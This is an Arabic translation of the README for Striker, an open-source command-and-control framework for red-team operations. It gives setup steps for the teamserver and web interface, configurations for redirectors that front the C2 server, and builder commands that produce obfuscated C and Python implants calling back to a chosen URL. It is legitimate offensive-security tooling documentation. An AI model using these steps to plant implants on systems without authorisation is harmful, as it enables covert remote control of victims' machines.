
إطار عمل C2 متعدد المشغلين مع وكلاء أصليين بلغة C وPython، وقنوات HTTP(S)، ومهام غير متزامنة، وواجهة ويب تفاعلية لعمليات فريق الاختراق.
Striker هو برنامج قيادة وتحكم (C2) بسيط.


هذا المشروع قيد التطوير النشط. معظم الميزات تجريبية، وسيأتي المزيد. توقع تغييرات جذرية.
أ) الوكلاء (Agents)
ب) الخلفية / خادم الفريق (Backend / Teamserver)
ج) واجهة المستخدم (User Interface)
انسخ المستودع؛
$ git clone https://github.com/4g3nt47/Striker.git
$ cd Striker
تنقسم قاعدة الشيفرة إلى 4 أقسام مستقلة؛
هذا يتعامل مع جميع منطق الخادم لكل من المشغلين والعملاء. وهو تطبيق NodeJS مصنوع باستخدام؛
express - لـ REST API.socket.io - للاتصال عبر Web Socket.mongoose - للاتصال بـ MongoDB.multer - للتعامل مع رفع الملفات.bcrypt - لتجزئة كلمات مرور المستخدمين.الشيفرة المصدرية موجودة في دليل backend/. لإعداد الخادم؛
يستخدم Striker MongoDB كقاعدة بيانات خلفية لتخزين جميع البيانات المهمة. يمكنك تثبيتها محليًا على جهازك باستخدام هذا الدليل للتوزيعات المبنيّة على دبيان، أو إنشاء واحدة مجانية باستخدام MongoDB Atlas (منصة قاعدة بيانات كخدمة).
$ cd backend
$ npm install
$ mkdir static
يمكنك استخدام هذا المجلد لاستضافة الملفات الثابتة على الخادم. يجب أن يكون هذا أيضًا هو المكان الذي تم تعيين UPLOAD_LOCATION إليه في ملف .env (المزيد عن هذا لاحقًا)، لكن هذا ليس ضروريًا. ستكون الملفات في هذا الدليل متاحة للعموم تحت المسار /static/.
.env؛ملاحظة: القيم بين < و > هي عناصر نائبة. استبدلها بقيم مناسبة (بما في ذلك <>).
للحقول التي تتطلب سلاسل عشوائية، يمكنك توليدها بسهولة باستخدام؛
$ head -c 100 /dev/urandom | sha256sum
DB_URL=<your MongoDB connection URL>
HOST=<host to listen on (default: 127.0.0.1)>
PORT=<port to listen on (default: 3000)>
SECRET=<random string to use for signing session cookies and encrypting session data>
ORIGIN_URL=<full URL of the server you will be hosting the frontend at. Used to setup CORS>
REGISTRATION_KEY=<random string to use for authentication during signup>
MAX_UPLOAD_SIZE=<max file upload size, in bytes>
UPLOAD_LOCATION=<directory to store uploaded files to (default: static)>
SSL_KEY=<your SSL key file (optional)>
SSL_CERT=<your SSL cert file (optional)>
لاحظ أن SSL_KEY و SSL_CERT اختياريان. إذا لم يتم تعريف أي منهما، فسيتم إنشاء خادم HTTP عادي. وهذا يساعد في تجنب العبء غير الضروري عند تشغيل الخادم خادم خلف وكيل عكسي مع تمكين SSL على نفس المضيف.
$ node index.js
[12:45:30 PM] Connecting to backend database...
[12:45:31 PM] Starting HTTP server...
[12:45:31 PM] Server started on port: 3000
هذه هي واجهة الويب التي يستخدمها المشغلون. وهي تطبيق ويب من صفحة واحدة مكتوب بلغة Svelte، والشيفرة المصدرية موجودة في دليل frontend/.
لإعداد الواجهة الأمامية؛
$ cd frontend
$ npm install
.env مع المتغير VITE_STRIKER_API مضبوطًا على عنوان URL الكامل لخادم C2 كما تم تكوينه أعلاه؛VITE_STRIKER_API=https://c2.striker.local
$ npm run build
سيقوم ما سبق بتجميع كل شيء في تطبيق ويب ثابت في دليل dist/. يمكنك نقل جميع الملفات بداخله إلى جذر الويب لخادم الويب الخاص بك، أو حتى استضافته باستخدام خادم HTTP أساسي مثل خادم بايثون؛
$ cd dist
$ python3 -m http.server 8000
Register.REGISTRATION_KEY في backend/.env).سيؤدي هذا إلى إنشاء حساب مستخدم عادي. ستحتاج إلى حساب مسؤول للوصول إلى بعض الميزات. يجب إنشاء حساب المسؤول الأول يدويًا، وبعد ذلك يمكنك ترقية حسابات الآخرين أو خفضها في علامة تبويب Users في واجهة الويب.
لإنشاء حساب المسؤول الأول؛
users واضبط حقل admin للمستخدم المستهدف على true;هناك طرق مختلفة للقيام بذلك. إذا كان لديك mongo متوفرًا في سطر الأوامر، يمكنك القيام بذلك باستخدام؛
$ mongo <your MongoDB connection URL>
> db.users.updateOne({username: "<your username>"}, {$set: {admin: true}})
يجب أن تحصل على الرد التالي إذا نجح الأمر؛
{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }
يمكنك الآن تسجيل الدخول :)
أ) إعادة التوجيه عبر أنبوب بسيط (Dumb Pipe Redirection)
يتوفر موجه أنبوب بسيط مكتوب لـ Striker في redirector/redirector.py. من الواضح أن هذا سيعمل فقط مع حركة HTTP العادية، أو مع HTTPS عند تعطيل التحقق من SSL (يمكنك القيام بذلك عن طريق تمكين ماكرو INSECURE_SSL في وكيل C).
المثال التالي يستمع على المنفذ 443 على جميع الواجهات ويُمرّر إلى c2.example.org على المنفذ 443؛
$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...
[+] Listening for connections...
ب) خادم Nginx العكسي كموجه (Nginx Reverse Proxy as Redirector)
$ sudo apt install nginx
/etc/nginx/sites-available/striker)؛العناصر النائبة؛
<domain-name> - هذا هو اسم المضيف الكامل (FQDN) لخادمك، ويجب أن يتطابق مع الموجود في شهادة SSL الخاصة بك.<ssl-cert> - ملف شهادة SSL المستخدم.<ssl-key> - ملف مفتاح SSL المستخدم.<c2-server> - عنوان URL الكامل لخادم C2 لإعادة توجيه الطلبات إليه.تحذير: يجب أن يكون client_max_body_size كبيرًا بقدر الحجم المحدد بواسطة MAX_UPLOAD_SIZE في ملف backend/.env الخاص بك، وإلا ستفشل تحميلات الملفات الكبيرة.
server {
listen 443 ssl;
server_name <domain-name>;
ssl_certificate <ssl-cert>;
ssl_certificate_key <ssl-key>;
client_max_body_size 100M;
access_log /var/log/nginx/striker.log;
location / {
proxy_pass <c2-server>;
proxy_redirect off;
proxy_ssl_verify off;
proxy_read_timeout 90;
proxy_http_version 1.0;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker
$ sudo service nginx restart
يجب أن يكون الموجه الآن قيد التشغيل على المنفذ 443، ويمكن اختباره باستخدام (بافتراض أن اسم المضيف الكامل هو striker.local)؛
$ curl https://striker.local
إذا نجح الأمر، يجب أن تحصل على رد 404 الذي يستخدمه الخادم الخلفي، مثل؛
{"error":"Invalid route!"}
أ) وكيل C (The C Agent)
هذه هي الزرعات التي يستخدمها Striker. الوكيل الأساسي مكتوب بلغة C، ويقع في agent/C/. يدعم كلًا من مضيفي لينكس وويندوز. يعتمد وكيل لينكس خارجيًا على libcurl، والذي ستجده مثبتًا في معظم الأنظمة.
وكيل ويندوز لا يحتوي على تبعية خارجية. يستخدم wininet للاتصال، والذي أعتقد أنه متاح على جميع مضيفي ويندوز.
بافتراض أنك على مضيف 64 بت، سيبني ما يلي لمضيف 64 بت؛
$ cd agent/C
$ mkdir bin
$ make
للبناء لنظام 32 بت على 64 بت؛
$ sudo apt install gcc-multilib
$ make arch=32
يقوم ما سبق بتجميع كل شيء في دليل bin/. ستحتاج إلى ملفين فقط لإنشاء زرعات عاملة؛
bin/stub - هذا هو النواة (stub) للوكيل التي سيتم استخدامها كقالب لإنشاء زرعات عاملة.bin/builder - هذا ما ستستخدمه لتعديل النواة لإنشاء زرعات عاملة.يقبل الباني الوسيطات التالية؛
$ ./bin/builder
[-] Usage: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>
حيث؛
<url> - الخادم الذي سيبلغ عنه. من الأفضل أن يكون موجهًا (redirector)، لكن عنوان URL مباشر للخادم سيعمل أيضًا.<auth_key> - مفتاح المصادقة لاستخدامه عند الاتصال بـ C2. يمكنك إنشاؤه في علامة تبويب auth keys في واجهة الويب.<delay> - التأخير بين كل رد اتصال، بالثواني. يجب أن يكون على الأقل 2، حسب مدى الضوضاء التي تريدها.<stub> - ملف النواة المراد قراءته، bin/stub في هذه الحالة.<outfile> - اسم ملف الخرج للزرعة الجديدة.مثال؛
$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...
[+] 69 strings obfuscated :)
[*] Finding offsets of our markers...
[+] Offsets:
URL: 0x0000a2e0
OBFS Key: 0x0000a280
Auth Key: 0x0000a2a0
Delay: 0x0000a260
[*] Patcing...
[+] Operation completed!
ستحتاج إلى MinGW لهذا. سيقوم ما يلي بتثبيت بيئة تطوير ويندوز 32 و64 بت؛
$ sudo apt install mingw-w64
البناء لنظام 64 بت؛
$ cd agent/C
$ mdkir bin
$ make target=win
للترجمة لنظام 32 بت؛
$ make target=win arch=32
سيقوم هذا بتجميع كل شيء في دليل bin/، وسيكون لديك الباني والنواة كـ bin\stub.exe و bin\builder.exe، على التوالي.
ب) وكيل بايثون (The Python Agent)
يأتي Striker أيضًا مع وكيل بايثون مكتفي ذاتيًا (تم اختباره على بايثون 2.7.16 و 3.7.3). يقع هذا في agent/python/. يتم تنفيذ الميزات الأساسية فقط في هذا الوكيل. مفيد للمضيفين الذين لا يمكنهم تشغيل وكيل C ولكن لديهم بايثون مثبتًا.
يوجد ملفان في هذا الدليل؛
stub.py - هذا هو نواة الحمولة لتمريرها إلى الباني.builder.py - هذا ما ستستخدمه لإنشاء زرعة.مثال الاستخدام:
$ ./builder.py
[-] Usage: builder.py <url> <auth_key> <delay> <stub> <outfile>
# ما يالي سيولد حمولة عاملة كـ `output.py`
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# تشغيلها
$ python3 output.py
بعد اتباع التعليمات أعلاه، يجب أن يكون Striker الآن جاهزًا للاستخدام. يُرجى الاطلاع على دليل الاستخدام. استمتع، واختراق سعيد!
إذا أعجبك المشروع، ففكر في مساعدتي في تحويل القهوة إلى كود!